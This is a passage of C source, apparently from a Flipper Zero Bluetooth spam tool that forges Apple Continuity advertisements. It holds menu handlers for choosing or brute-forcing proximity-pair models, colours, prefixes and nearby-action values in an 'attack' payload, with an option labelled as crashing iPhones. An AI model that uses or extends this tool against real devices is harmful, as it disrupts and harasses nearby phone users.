  750. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  751. break;
  752. }
  753. default:
  754. break;
  755. }
  756. variable_item_list_set_enter_callback(list, config_callback, ctx);
  757. }
  758. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  759. [ContinuityTypeAirDrop] = 0,
  760. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  761. [ContinuityTypeAirplayTarget] = 0,
  762. [ContinuityTypeHandoff] = 0,
  763. [ContinuityTypeTetheringSource] = 0,
  764. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  765. [ContinuityTypeNearbyInfo] = 0,
  766. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  767. };
  768. static uint8_t config_count(const Payload* payload) {
  769. const ContinuityCfg* cfg = &payload->cfg.continuity;
  770. return config_counts[cfg->type];
  771. }
  772. const Protocol protocol_continuity = {
  773. .icon = &I_apple,
  774. .get_name = get_name,
  775. .make_packet = make_packet,
  776. .extra_config = extra_config,
  777. .config_count = config_count,
  778. };
  779. static void pp_model_callback(void* _ctx, uint32_t index) {
  780. Ctx* ctx = _ctx;
  781. Payload* payload = &ctx->attack->payload;
  782. ContinuityCfg* cfg = &payload->cfg.continuity;
  783. switch(index) {
  784. case 0:
  785. payload->mode = PayloadModeRandom;
  786. scene_manager_previous_scene(ctx->scene_manager);
  787. break;
  788. case pp_models_count + 1:
  789. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  790. break;
  791. case pp_models_count + 2:
  792. payload->mode = PayloadModeBruteforce;
  793. payload->bruteforce.counter = 0;
  794. payload->bruteforce.value = cfg->data.proximity_pair.model;
  795. payload->bruteforce.size = 2;
  796. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  797. scene_manager_previous_scene(ctx->scene_manager);
  798. break;
  799. default:
  800. if(payload->mode != PayloadModeBruteforce ||
  801. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  802. payload->mode = PayloadModeValue;
  803. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  804. scene_manager_previous_scene(ctx->scene_manager);
  805. break;
  806. }
  807. }
  808. void scene_continuity_pp_model_on_enter(void* _ctx) {
  809. Ctx* ctx = _ctx;
  810. Payload* payload = &ctx->attack->payload;
  811. ContinuityCfg* cfg = &payload->cfg.continuity;
  812. Submenu* submenu = ctx->submenu;
  813. uint32_t selected = 0;
  814. bool value = payload->mode == PayloadModeValue ||
  815. (payload->mode == PayloadModeBruteforce &&
  816. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  817. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  818. if(payload->mode == PayloadModeRandom) {
  819. selected = 0;
  820. }
  821. bool found = false;
  822. for(uint8_t i = 0; i < pp_models_count; i++) {
  823. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  824. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  825. found = true;
  826. selected = i + 1;
  827. }
  828. }
  829. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  830. if(!found && value) {
  831. selected = pp_models_count + 1;
  832. }
  833. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  834. if(!value && payload->mode == PayloadModeBruteforce) {
  835. selected = pp_models_count + 2;
  836. }
  837. submenu_set_selected_item(submenu, selected);
  838. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  839. }
  840. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  841. UNUSED(_ctx);
  842. UNUSED(event);
  843. return false;
  844. }
  845. void scene_continuity_pp_model_on_exit(void* _ctx) {
  846. Ctx* ctx = _ctx;
  847. submenu_reset(ctx->submenu);
  848. }
  849. static void pp_model_custom_callback(void* _ctx) {
  850. Ctx* ctx = _ctx;
  851. Payload* payload = &ctx->attack->payload;
  852. ContinuityCfg* cfg = &payload->cfg.continuity;
  853. if(payload->mode != PayloadModeBruteforce ||
  854. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  855. payload->mode = PayloadModeValue;
  856. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  857. scene_manager_previous_scene(ctx->scene_manager);
  858. scene_manager_previous_scene(ctx->scene_manager);
  859. }
  860. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  861. Ctx* ctx = _ctx;
  862. Payload* payload = &ctx->attack->payload;
  863. ContinuityCfg* cfg = &payload->cfg.continuity;
  864. ByteInput* byte_input = ctx->byte_input;
  865. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  866. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  867. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  868. byte_input_set_result_callback(
  869. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  870. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  871. }
  872. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  873. UNUSED(_ctx);
  874. UNUSED(event);
  875. return false;
  876. }
  877. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  878. UNUSED(_ctx);
  879. }
  880. static void pp_color_callback(void* _ctx, uint32_t index) {
  881. Ctx* ctx = _ctx;
  882. Payload* payload = &ctx->attack->payload;
  883. ContinuityCfg* cfg = &payload->cfg.continuity;
  884. uint8_t model_index = 0;
  885. uint8_t colors_count = 0;
  886. if(payload->mode == PayloadModeValue ||
  887. (payload->mode == PayloadModeBruteforce &&
  888. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  889. for(; model_index < pp_models_count; model_index++) {
  890. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  891. colors_count = pp_models[model_index].colors_count;
  892. break;
  893. }
  894. }
  895. }
  896. if(index == colors_count) {
  897. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  898. } else if(index == colors_count + 1U) {
  899. payload->mode = PayloadModeBruteforce;
  900. payload->bruteforce.counter = 0;
  901. payload->bruteforce.value = cfg->data.proximity_pair.color;
  902. payload->bruteforce.size = 1;
  903. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  904. scene_manager_previous_scene(ctx->scene_manager);
  905. } else {
  906. if(payload->mode != PayloadModeBruteforce ||
  907. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  908. payload->mode = PayloadModeValue;
  909. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  910. scene_manager_previous_scene(ctx->scene_manager);
  911. }
  912. }
  913. void scene_continuity_pp_color_on_enter(void* _ctx) {
  914. Ctx* ctx = _ctx;
  915. Payload* payload = &ctx->attack->payload;
  916. ContinuityCfg* cfg = &payload->cfg.continuity;
  917. Submenu* submenu = ctx->submenu;
  918. uint32_t selected = 0;
  919. bool value = payload->mode == PayloadModeValue ||
  920. (payload->mode == PayloadModeBruteforce &&
  921. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  922. bool found = false;
  923. uint8_t colors_count = 0;
  924. if(payload->mode == PayloadModeValue ||
  925. (payload->mode == PayloadModeBruteforce &&
  926. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  927. for(uint8_t i = 0; i < pp_models_count; i++) {
  928. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  929. colors_count = pp_models[i].colors_count;
  930. for(uint8_t j = 0; j < colors_count; j++) {
  931. submenu_add_item(
  932. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  933. if(!found && value &&
  934. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  935. found = true;
  936. selected = j;
  937. }
  938. }
  939. break;
  940. }
  941. }
  942. }
  943. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  944. if(!found && value) {
  945. selected = colors_count;
  946. }
  947. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  948. if(!value && payload->mode == PayloadModeBruteforce) {
  949. selected = colors_count + 1;
  950. }
  951. submenu_set_selected_item(submenu, selected);
  952. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  953. }
  954. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  955. UNUSED(_ctx);
  956. UNUSED(event);
  957. return false;
  958. }
  959. void scene_continuity_pp_color_on_exit(void* _ctx) {
  960. Ctx* ctx = _ctx;
  961. submenu_reset(ctx->submenu);
  962. }
  963. static void pp_color_custom_callback(void* _ctx) {
  964. Ctx* ctx = _ctx;
  965. Payload* payload = &ctx->attack->payload;
  966. ContinuityCfg* cfg = &payload->cfg.continuity;
  967. if(payload->mode != PayloadModeBruteforce ||
  968. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  969. payload->mode = PayloadModeValue;
  970. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  971. scene_manager_previous_scene(ctx->scene_manager);
  972. scene_manager_previous_scene(ctx->scene_manager);
  973. }
  974. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  975. Ctx* ctx = _ctx;
  976. Payload* payload = &ctx->attack->payload;
  977. ContinuityCfg* cfg = &payload->cfg.continuity;
  978. ByteInput* byte_input = ctx->byte_input;
  979. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  980. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  981. byte_input_set_result_callback(
  982. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  983. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  984. }
  985. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  986. UNUSED(_ctx);
  987. UNUSED(event);
  988. return false;
  989. }
  990. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  991. UNUSED(_ctx);
  992. }
  993. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  994. Ctx* ctx = _ctx;
  995. Payload* payload = &ctx->attack->payload;
  996. ContinuityCfg* cfg = &payload->cfg.continuity;
  997. switch(index) {
  998. case 0:
  999. cfg->data.proximity_pair.prefix = 0x00;
  1000. scene_manager_previous_scene(ctx->scene_manager);
  1001. break;
  1002. case pp_prefixes_count + 1:
  1003. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  1004. break;
  1005. default:
  1006. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  1007. scene_manager_previous_scene(ctx->scene_manager);
  1008. break;
  1009. }
  1010. }
  1011. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  1012. Ctx* ctx = _ctx;
  1013. Payload* payload = &ctx->attack->payload;
  1014. ContinuityCfg* cfg = &payload->cfg.continuity;
  1015. Submenu* submenu = ctx->submenu;
  1016. uint32_t selected = 0;
  1017. bool found = false;
  1018. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  1019. if(cfg->data.proximity_pair.prefix == 0x00) {
  1020. found = true;
  1021. selected = 0;
  1022. }
  1023. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  1024. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  1025. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  1026. found = true;
  1027. selected = i + 1;
  1028. }
  1029. }
  1030. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  1031. if(!found) {
  1032. selected = pp_prefixes_count + 1;
  1033. }
  1034. submenu_set_selected_item(submenu, selected);
  1035. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1036. }
  1037. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  1038. UNUSED(_ctx);
  1039. UNUSED(event);
  1040. return false;
  1041. }
  1042. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  1043. Ctx* ctx = _ctx;
  1044. submenu_reset(ctx->submenu);
  1045. }
  1046. static void pp_prefix_custom_callback(void* _ctx) {
  1047. Ctx* ctx = _ctx;
  1048. Payload* payload = &ctx->attack->payload;
  1049. ContinuityCfg* cfg = &payload->cfg.continuity;
  1050. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  1051. scene_manager_previous_scene(ctx->scene_manager);
  1052. scene_manager_previous_scene(ctx->scene_manager);
  1053. }
  1054. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  1055. Ctx* ctx = _ctx;
  1056. Payload* payload = &ctx->attack->payload;
  1057. ContinuityCfg* cfg = &payload->cfg.continuity;
  1058. ByteInput* byte_input = ctx->byte_input;
  1059. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1060. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1061. byte_input_set_result_callback(
  1062. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1063. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1064. }
  1065. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1066. UNUSED(_ctx);
  1067. UNUSED(event);
  1068. return false;
  1069. }
  1070. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1071. UNUSED(_ctx);
  1072. }
  1073. static void na_action_callback(void* _ctx, uint32_t index) {
  1074. Ctx* ctx = _ctx;
  1075. Payload* payload = &ctx->attack->payload;
  1076. ContinuityCfg* cfg = &payload->cfg.continuity;
  1077. switch(index) {
  1078. case 0:
  1079. payload->mode = PayloadModeRandom;
  1080. scene_manager_previous_scene(ctx->scene_manager);
  1081. break;
  1082. case na_actions_count + 1:
  1083. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1084. break;
  1085. case na_actions_count + 2:
  1086. payload->mode = PayloadModeBruteforce;
  1087. payload->bruteforce.counter = 0;
  1088. payload->bruteforce.value = cfg->data.nearby_action.action;
  1089. payload->bruteforce.size = 1;
  1090. scene_manager_previous_scene(ctx->scene_manager);
  1091. break;
  1092. default:
  1093. payload->mode = PayloadModeValue;
  1094. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1095. scene_manager_previous_scene(ctx->scene_manager);
  1096. break;
  1097. }
  1098. }
  1099. void scene_continuity_na_action_on_enter(void* _ctx) {
  1100. Ctx* ctx = _ctx;
  1101. Payload* payload = &ctx->attack->payload;
  1102. ContinuityCfg* cfg = &payload->cfg.continuity;
  1103. Submenu* submenu = ctx->submenu;
  1104. uint32_t selected = 0;
  1105. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1106. if(payload->mode == PayloadModeRandom) {
  1107. selected = 0;
  1108. }
  1109. bool found = false;
  1110. for(uint8_t i = 0; i < na_actions_count; i++) {
  1111. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1112. if(!found && payload->mode == PayloadModeValue &&
  1113. cfg->data.nearby_action.action == na_actions[i].value) {
  1114. found = true;
  1115. selected = i + 1;
  1116. }
  1117. }
  1118. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1119. if(!found && payload->mode == PayloadModeValue) {
  1120. selected = na_actions_count + 1;
  1121. }
  1122. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1123. if(payload->mode == PayloadModeBruteforce) {
  1124. selected = na_actions_count + 2;
  1125. }
  1126. submenu_set_selected_item(submenu, selected);
  1127. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1128. }
  1129. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1130. UNUSED(_ctx);
  1131. UNUSED(event);
  1132. return false;
  1133. }
  1134. void scene_continuity_na_action_on_exit(void* _ctx) {
  1135. Ctx* ctx = _ctx;
  1136. submenu_reset(ctx->submenu);
  1137. }
  1138. static void na_action_custom_callback(void* _ctx) {
  1139. Ctx* ctx = _ctx;
  1140. Payload* payload = &ctx->attack->payload;
  1141. ContinuityCfg* cfg = &payload->cfg.continuity;
  1142. payload->mode = PayloadModeValue;
  1143. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1144. scene_manager_previous_scene(ctx->scene_manager);
  1145. scene_manager_previous_scene(ctx->scene_manager);
  1146. }
  1147. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1148. Ctx* ctx = _ctx;
  1149. Payload* payload = &ctx->attack->payload;
  1150. ContinuityCfg* cfg = &payload->cfg.continuity;
  1151. ByteInput* byte_input = ctx->byte_input;
  1152. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1153. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1154. byte_input_set_result_callback(
  1155. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1156. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1157. }
  1158. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1159. UNUSED(_ctx);
  1160. UNUSED(event);
  1161. return false;
  1162. }
  1163. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1164. UNUSED(_ctx);
  1165. }
  1166. static void na_flags_callback(void* _ctx) {
  1167. Ctx* ctx = _ctx;
  1168. scene_manager_previous_scene(ctx->scene_manager);
  1169. }
  1170. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1171. Ctx* ctx = _ctx;
  1172. Payload* payload = &ctx->attack->payload;
  1173. ContinuityCfg* cfg = &payload->cfg.continuity;
  1174. ByteInput* byte_input = ctx->byte_input;
  1175. byte_input_set_header_text(byte_input, "Press back for automatic");
  1176. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1177. byte_input_set_result_callback(
  1178. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1179. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1180. }
  1181. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1182. Ctx* ctx = _ctx;
  1183. if(event.type == SceneManagerEventTypeBack) {
  1184. ctx->byte_store[0] = 0x00;
  1185. }
  1186. return false;
  1187. }
  1188. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1189. Ctx* ctx = _ctx;
  1190. Payload* payload = &ctx->attack->payload;
  1191. ContinuityCfg* cfg = &payload->cfg.continuity;
  1192. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1193. }